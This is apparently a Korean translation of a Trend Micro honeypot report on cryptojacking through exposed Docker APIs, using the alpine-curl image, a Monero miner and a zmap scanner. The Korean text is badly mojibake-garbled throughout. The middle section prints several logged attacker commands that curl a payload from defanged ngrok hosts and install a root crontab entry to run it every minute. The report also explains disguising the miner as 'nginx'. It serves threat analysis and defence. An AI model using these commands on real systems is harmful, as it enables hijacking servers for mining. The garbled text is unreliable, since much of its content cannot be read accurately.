์ํ ์ถ์ ์ ์ํด ๋ง๋ ํ๋ํ ์ปจํ ์ด๋๋ฅผ ์ฌ์ฉํ์ฌ ์์ง๋ ๋ฐ์ดํฐ๋ฅผ ๋ถ์ํ์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ Docker Hub์ ์ปค๋ฎค๋ํฐ ๊ฒ์ ์ด๋ฏธ์ง๋ฅผ ์ฌ์ฉํ์ฌ ์ ์ฑ ์ปจํ ์ด๋๋ก ๋ฐฐํฌ๋ ์์น ์๊ฑฐ๋ ์น์ธ๋์ง ์์ ์ํธํํ ์ฑ๊ตด์์ ์ค์ํ ํ๋์ ๊ฐ์งํ์ต๋๋ค. ํด๋น ์ด๋ฏธ์ง๋ ์ ์์ ์ธ ์ํธํํ ์ฑ๊ตด์๋ฅผ ์ ๋ฌํ๋ ์๋น์ค์ ์ผ๋ถ๋ก ์ฌ์ฉ๋ฉ๋๋ค.
๋ํ ์ด๋ ค ์๋ ์ธ์ ์ปจํ ์ด๋ ๋ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ์นจํฌํ๊ธฐ ์ํด ๋คํธ์ํฌ ์์ ์ ์ํ ํ๋ก๊ทธ๋จ์ด ์ค์น๋ฉ๋๋ค.
์ฐ๋ฆฌ๋ ์ด๋ ํ ๋ณด์ ์กฐ์น๋ ํ์ ์ํํธ์จ์ด ์ค์น ์์ด ํ๋ํ์ ์๋ ๊ทธ๋๋ก, ์ฆ ๊ธฐ๋ณธ ์ค์ ์ผ๋ก ๋ก๋๋ค. Docker์๋ ์ค๋ฅ์ ๋จ์ํ ์ทจ์ฝ์ ์ ๋ฐฉ์งํ๊ธฐ ์ํ ์ด๊ธฐ ์ค์ ์ ๋ํ ๊ถ์ฅ ์ฌํญ์ด ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ฌ์ฉ๋๋ ํ๋ํ์ ์ปจํ ์ด๋ ๋ด๋ถ์ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์๋ ์ปจํ ์ด๋ํ ํ๋ซํผ์ ๊ฒจ๋ฅํ ๊ณต๊ฒฉ์ ํ์งํ๋๋ก ์ค๊ณ๋ ์ปจํ ์ด๋์ ๋๋ค.
๊ฐ์ง๋ ์ ์ฑ ํ๋์ ์ทจ์ฝ์ ์ด ํ์ํ์ง ์๊ณ Docker ๋ฒ์ ๊ณผ๋ ๋ ๋ฆฝ์ ์ด๊ธฐ ๋๋ฌธ์ ์ฃผ๋ชฉํ ๋งํฉ๋๋ค. ์๋ชป ๊ตฌ์ฑ๋์ด ์ด๋ ค ์๋ ์ปจํ ์ด๋ ์ด๋ฏธ์ง๋ฅผ ์ฐพ๋ ๊ฒ์ ๊ณต๊ฒฉ์๊ฐ ๋ง์ ๊ณต๊ฐ ์๋ฒ๋ฅผ ๊ฐ์ผ์ํค๋ ๋ฐ ํ์ํ ์ ๋ถ์ ๋๋ค.
๋น๊ณต๊ฐ Docker API๋ฅผ ํตํด ์ฌ์ฉ์๋ ๋ค์ํ ์์
์ ์ํํ ์ ์์ต๋๋ค.
์ผ์ชฝ์ ์
์ฑ์ฝ๋ ์ ๋ฌ ๋ฐฉ์์ด๋ค. ์ค๋ฅธ์ชฝ์๋ ์ด๋ฏธ์ง๋ฅผ ์๊ฒฉ์ผ๋ก ๋กค์์ํ ์ ์๋ ๊ณต๊ฒฉ์์ ํ๊ฒฝ์ด ์์ต๋๋ค.
3762๊ฐ์ ๊ฐ๋ฐฉํ Docker API๊ฐ ๊ตญ๊ฐ๋ณ๋ก ๋ฐฐํฌ๋ฉ๋๋ค. 12.02.2019๋
XNUMX์ XNUMX์ผ์ Shodan ๊ฒ์ ๊ธฐ์ค
๊ณต๊ฒฉ ์ฒด์ธ ๋ฐ ํ์ด๋ก๋ ์ต์
ํ๋ํ์ ๋์์ผ๋ก๋ง ์
์์ ์ธ ํ๋์ด ๊ฐ์ง๋ ๊ฒ์ ์๋๋๋ค. Shodan์ ๋ฐ์ดํฐ์ ๋ฐ๋ฅด๋ฉด Monero ์ํธํํ ์ฑ๊ตด ์ํํธ์จ์ด๋ฅผ ๋ฐฐํฌํ๊ธฐ ์ํ ๋ธ๋ฆฌ์ง๋ก ์ฌ์ฉ๋๋ ์๋ชป ๊ตฌ์ฑ๋ ์ปจํ
์ด๋๋ฅผ ์กฐ์ฌํ ์ดํ ๋
ธ์ถ๋ Docker API(๋ ๋ฒ์งธ ๊ทธ๋ํ ์ฐธ์กฐ)์ ์๊ฐ ์ฆ๊ฐํ์ต๋๋ค. ์ง๋ํด 2018์(XNUMX๋
ํ์ฌ ์๋ฃ)
ํ๋ํ ๋ก๊ทธ๋ฅผ ์กฐ์ฌํ ๊ฒฐ๊ณผ ์ปจํ
์ด๋ ์ด๋ฏธ์ง ์ฌ์ฉ์ด ๋ค์๊ณผ ๊ฐ์ ์ฌ์ฉ๊ณผ๋ ์ฐ๊ด๋์ด ์๋ ๊ฒ์ผ๋ก ๋ํ๋ฌ์ต๋๋ค.
Tty: false
Command: โ-c curl โretry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d โhxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283โ;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ >/tmp9bedce/etc/crontab;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c โcron || crondโโ,
Entrypoint: โ/bin/shโ
Tty: false,
Command: โ-c curl โretry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d โhxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283โ;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ >/tmp570547/etc/crontab;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dโ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c โcron || crondโโ,
Entrypoint: โ/bin/shโ
Tty: false,
Command: โ-c curl โretry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed โhxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeโ;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ >/tmp326c80/etc/crontab;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c โcron || crondโโ,
Entrypoint: โ/bin/shโ,
Tty: false,
Cmd: โ-c curl โretry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed โhxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeโ;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ >/tmp8b9b5b/etc/crontab;echo โ* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedโ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c โcron || crondโโ,
Entrypoint: โ/bin/shโ
๋ณด์๋ค์ํผ, ์ ๋ก๋๋ ํ์ผ์ ๋์์์ด ๋ณํํ๋ URL์์ ๋ค์ด๋ก๋๋ฉ๋๋ค. ์ด๋ฌํ URL์ ๋ง๋ฃ ๋ ์ง๊ฐ ์งง์ผ๋ฏ๋ก ๋ง๋ฃ ๋ ์ง ์ดํ์๋ ํ์ด๋ก๋๋ฅผ ๋ค์ด๋ก๋ํ ์ ์์ต๋๋ค.
๋ ๊ฐ์ง ํ์ด๋ก๋ ์ต์ ์ด ์์ต๋๋ค. ์ฒซ ๋ฒ์งธ๋ ์ฑ๊ตด ํ์ ์ฐ๊ฒฐ๋๋ Linux์ฉ ์ปดํ์ผ๋ ELF ์ฑ๊ตด๊ธฐ(Coinminer.SH.MALXMR.ATNO๋ก ์ ์๋จ)์ ๋๋ค. ๋ ๋ฒ์งธ๋ ๋คํธ์ํฌ ๋ฒ์๋ฅผ ์ค์บํ ๋ค์ ์ ๋์์ ๊ฒ์ํ๋ ๋ฐ ์ฌ์ฉ๋๋ ํน์ ๋คํธ์ํฌ ๋๊ตฌ๋ฅผ ์ป๋๋ก ์ค๊ณ๋ ์คํฌ๋ฆฝํธ(TrojanSpy.SH.ZNETMAP.A)์ ๋๋ค.
๋๋กํผ ์คํฌ๋ฆฝํธ๋ ๋ ๊ฐ์ ๋ณ์๋ฅผ ์ค์ ํ ๋ค์ ์ํธํํ ์ฑ๊ตด๊ธฐ๋ฅผ ๋ฐฐํฌํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. HOST ๋ณ์์๋ ์ ์ฑ ํ์ผ์ด ์์นํ URL์ด ํฌํจ๋๊ณ , RIP ๋ณ์์๋ ๋ฐฐํฌํ ์ฑ๊ตด๊ธฐ์ ํ์ผ ์ด๋ฆ(์ฌ์ค ํด์)์ด ํฌํจ๋ฉ๋๋ค. HOST ๋ณ์๋ ํด์ ๋ณ์๊ฐ ๋ณ๊ฒฝ๋ ๋๋ง๋ค ๋ณ๊ฒฝ๋ฉ๋๋ค. ๋ํ ์คํฌ๋ฆฝํธ๋ ๊ณต๊ฒฉ๋ฐ์ ์๋ฒ์์ ์คํ ์ค์ธ ๋ค๋ฅธ ์ํธํํ ์ฑ๊ตด์๊ฐ ์๋์ง ํ์ธํ๋ ค๊ณ ์๋ํฉ๋๋ค.
HOST ๋ฐ RIP ๋ณ์์ ์์ ๋ค๋ฅธ ์ฑ๊ตด์๊ฐ ์คํ๋๊ณ ์์ง ์์์ง ํ์ธํ๋ ๋ฐ ์ฌ์ฉ๋๋ ์ฝ๋ ์กฐ๊ฐ
์ฑ๊ตด์ ์์ํ๊ธฐ ์ ์ ์ด๋ฆ์ด nginx๋ก ๋ณ๊ฒฝ๋ฉ๋๋ค. ์ด ์คํฌ๋ฆฝํธ์ ๋ค๋ฅธ ๋ฒ์ ์์๋ ๊ด๋ถ์ ์ด๋ฆ์ Linux ํ๊ฒฝ์ ์กด์ฌํ ์ ์๋ ๋ค๋ฅธ ํฉ๋ฒ์ ์ธ ์๋น์ค๋ก ๋ฐ๊ฟ๋๋ค. ์ด๋ ์ผ๋ฐ์ ์ผ๋ก ์คํ ์ค์ธ ํ๋ก์ธ์ค ๋ชฉ๋ก์ ๋ํ ๊ฒ์ฌ๋ฅผ ์ฐํํ๋ ๋ฐ ์ถฉ๋ถํฉ๋๋ค.
๊ฒ์ ์คํฌ๋ฆฝํธ์๋ ๊ธฐ๋ฅ์ด ์์ต๋๋ค. ๋์ผํ URL ์๋น์ค์ ํจ๊ป ์๋ํ์ฌ ํ์ํ ๋๊ตฌ๋ฅผ ๋ฐฐํฌํฉ๋๋ค. ๊ทธ์ค์๋ ๋คํธ์ํฌ๋ฅผ ์ค์บํ๊ณ ์ด๋ฆฐ ํฌํธ ๋ชฉ๋ก์ ์ป๋ ๋ฐ ์ฌ์ฉ๋๋ zmap ๋ฐ์ด๋๋ฆฌ๊ฐ ์์ต๋๋ค. ๋ํ ์คํฌ๋ฆฝํธ๋ ๋ฐ๊ฒฌ๋ ์๋น์ค์ ์ํธ ์์ฉํ๊ณ ํด๋น ์๋น์ค๋ก๋ถํฐ ๋ฐฐ๋๋ฅผ ์์ ํ์ฌ ๋ฐ๊ฒฌ๋ ์๋น์ค์ ๋ํ ์ถ๊ฐ ์ ๋ณด(์: ํด๋น ๋ฒ์ )๋ฅผ ํ์ธํ๋ ๋ฐ ์ฌ์ฉ๋๋ ๋ ๋ค๋ฅธ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ก๋ํฉ๋๋ค.
๋ํ ์คํฌ๋ฆฝํธ๋ ์ค์บํ ์ผ๋ถ ๋คํธ์ํฌ ๋ฒ์๋ฅผ ๋ฏธ๋ฆฌ ๊ฒฐ์ ํ์ง๋ง ์ด๋ ์คํฌ๋ฆฝํธ ๋ฒ์ ์ ๋ฐ๋ผ ๋ค๋ฆ ๋๋ค. ๋ํ ์ค์บ์ ์คํํ๊ธฐ ์ ์ ์๋น์ค(์ด ๊ฒฝ์ฐ Docker)์์ ๋์ ํฌํธ๋ฅผ ์ค์ ํฉ๋๋ค.
๊ฐ๋ฅํ ๋์์ ์ฐพ์ผ๋ฉด ์ฆ์ ๋ฐฐ๋๊ฐ ์๋์ผ๋ก ์ ๊ฑฐ๋ฉ๋๋ค. ๋ํ ์คํฌ๋ฆฝํธ๋ Redis, Jenkins, Drupal, MODX ๋ฑ ๊ด์ฌ ์๋ ์๋น์ค, ์ ํ๋ฆฌ์ผ์ด์
, ๊ตฌ์ฑ ์์ ๋๋ ํ๋ซํผ์ ๋ฐ๋ผ ๋์์ ํํฐ๋งํฉ๋๋ค.
๊ณต๊ฒฉ ๋ฒกํฐ๋ ๋ค์ ๋ ์ฝ๋์์ ๋ณผ ์ ์๋ฏ์ด Docker ์ด๋ฏธ์ง์ ๋๋ค.
์๋จ์๋ ํฉ๋ฒ์ ์ธ ์๋น์ค๋ก ์ด๋ฆ์ด ๋ฐ๋๊ณ ํ๋จ์๋ zmap์ ์ฌ์ฉํ์ฌ ๋คํธ์ํฌ๋ฅผ ๊ฒ์ํ๋ ๋ฐฉ๋ฒ์ด ๋์ ์์ต๋๋ค.
์๋จ์๋ ์ฌ์ ์ ์๋ ๋คํธ์ํฌ ๋ฒ์๊ฐ ์๊ณ ํ๋จ์๋ Docker๋ฅผ ํฌํจํ์ฌ ์๋น์ค ๊ฒ์์ ์ํ ํน์ ํฌํธ๊ฐ ์์ต๋๋ค.
์คํฌ๋ฆฐ์ท์ ๋ณด๋ฉด ์ํ์ธ ์ปฌ ์ด๋ฏธ์ง๊ฐ ์ฒ๋ง ๋ฒ ์ด์ ๋ค์ด๋ก๋๋์์์ ์ ์ ์์ต๋๋ค.
Alpine Linux์ ๋ค์ํ ํ๋กํ ์ฝ์ ํตํด ํ์ผ์ ์ ์กํ๊ธฐ ์ํ ๋ฆฌ์์ค ํจ์จ์ ์ธ CLI ๋๊ตฌ์ธ ์ปฌ์ ๊ธฐ๋ฐ์ผ๋ก ๋ค์์ ๊ตฌ์ถํ ์ ์์ต๋๋ค.
์ด ์ด๋ฏธ์ง(alpine-curl) ์์ฒด๋ ์ ์ฑ์ ์๋์ง๋ง, ์์์ ๋ณผ ์ ์๋ฏ์ด ์ ์์ ์ธ ๊ธฐ๋ฅ์ ์ํํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์๋ค๋ ์ ์ ์ ์ํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. ์ ์ฌํ Docker ์ด๋ฏธ์ง๋ฅผ ์ฌ์ฉํ์ฌ ์ ์์ ์ธ ํ๋์ ์ํํ ์๋ ์์ต๋๋ค. ์ฐ๋ฆฌ๋ Docker์ ์ฐ๋ฝํ์ฌ ์ด ๋ฌธ์ ์ ๋ํด ํ๋ ฅํ์ต๋๋ค.
์ถ์ฒ
์ด ๊ธฐ์ฌ์์ ๋ ผ์๋ ์ฌ๊ฑด์ ๋ค์ ๊ถ์ฅ ์ฌํญ์ ํฌํจํ์ฌ ์ฒ์๋ถํฐ ์์ ์ ๊ณ ๋ คํด์ผ ํ ํ์์ฑ์ ๊ฐ์กฐํฉ๋๋ค.
- ์์คํ ๊ด๋ฆฌ์ ๋ฐ ๊ฐ๋ฐ์์ ๊ฒฝ์ฐ: ํญ์ API ์ค์ ์ ํ์ธํ์ฌ ๋ชจ๋ ๊ฒ์ด ํน์ ์๋ฒ ๋๋ ๋ด๋ถ ๋คํธ์ํฌ์ ์์ฒญ๋ง ์๋ฝํ๋๋ก ๊ตฌ์ฑ๋์ด ์๋์ง ํ์ธํ์ธ์.
- ์ต์ ๊ถํ ์์น์ ๋ฐ๋ฅด์ญ์์ค. ์ปจํ ์ด๋ ์ด๋ฏธ์ง๊ฐ ์๋ช ๋ฐ ๊ฒ์ฆ๋์๋์ง ํ์ธํ๊ณ ์ค์ํ ๊ตฌ์ฑ ์์(์ปจํ ์ด๋ ์คํ ์๋น์ค)์ ๋ํ ์ก์ธ์ค๋ฅผ ์ ํํ๊ณ ๋คํธ์ํฌ ์ฐ๊ฒฐ์ ์ํธํ๋ฅผ ์ถ๊ฐํ์ญ์์ค.
- ๋ฐ๋ฅด๋ค
์ถ์ฒ ๋ณด์ ๋ฉ์ปค๋์ฆ์ ํ์ฑํํฉ๋๋ค.๋์ปค์์ ๊ทธ๋ฆฌ๊ณ ๋ด์ฅ์์ ์ค๋น . - ๋ฐํ์ ๋ฐ ์ด๋ฏธ์ง์ ์๋ ์ค์บ์ ์ฌ์ฉํ์ฌ ์ปจํ ์ด๋์์ ์คํ ์ค์ธ ํ๋ก์ธ์ค์ ๋ํ ์ถ๊ฐ ์ ๋ณด๋ฅผ ์ป์ต๋๋ค(์: ์คํธํ ๊ฐ์ง ๋๋ ์ทจ์ฝ์ ๊ฒ์). ์์ฉ ํ๋ก๊ทธ๋จ ์ ์ด ๋ฐ ๋ฌด๊ฒฐ์ฑ ๋ชจ๋ํฐ๋ง์ ์๋ฒ, ํ์ผ ๋ฐ ์์คํ ์์ญ์ ๋ํ ๋น์ ์์ ์ธ ๋ณ๊ฒฝ ์ฌํญ์ ์ถ์ ํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
Trendmicro๋ DevOps ํ์ด ์์ ํ๊ฒ ๊ตฌ์ถํ๊ณ , ๋น ๋ฅด๊ฒ ์ถ์ํ๊ณ , ์ด๋์๋ ์ถ์ํ ์ ์๋๋ก ์ง์ํฉ๋๋ค. ํธ๋ ๋๋ง์ดํฌ๋ก
ํํ์ ์งํ
๊ด๋ จ ํด์:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
์
์ถ์ฒ : habr.com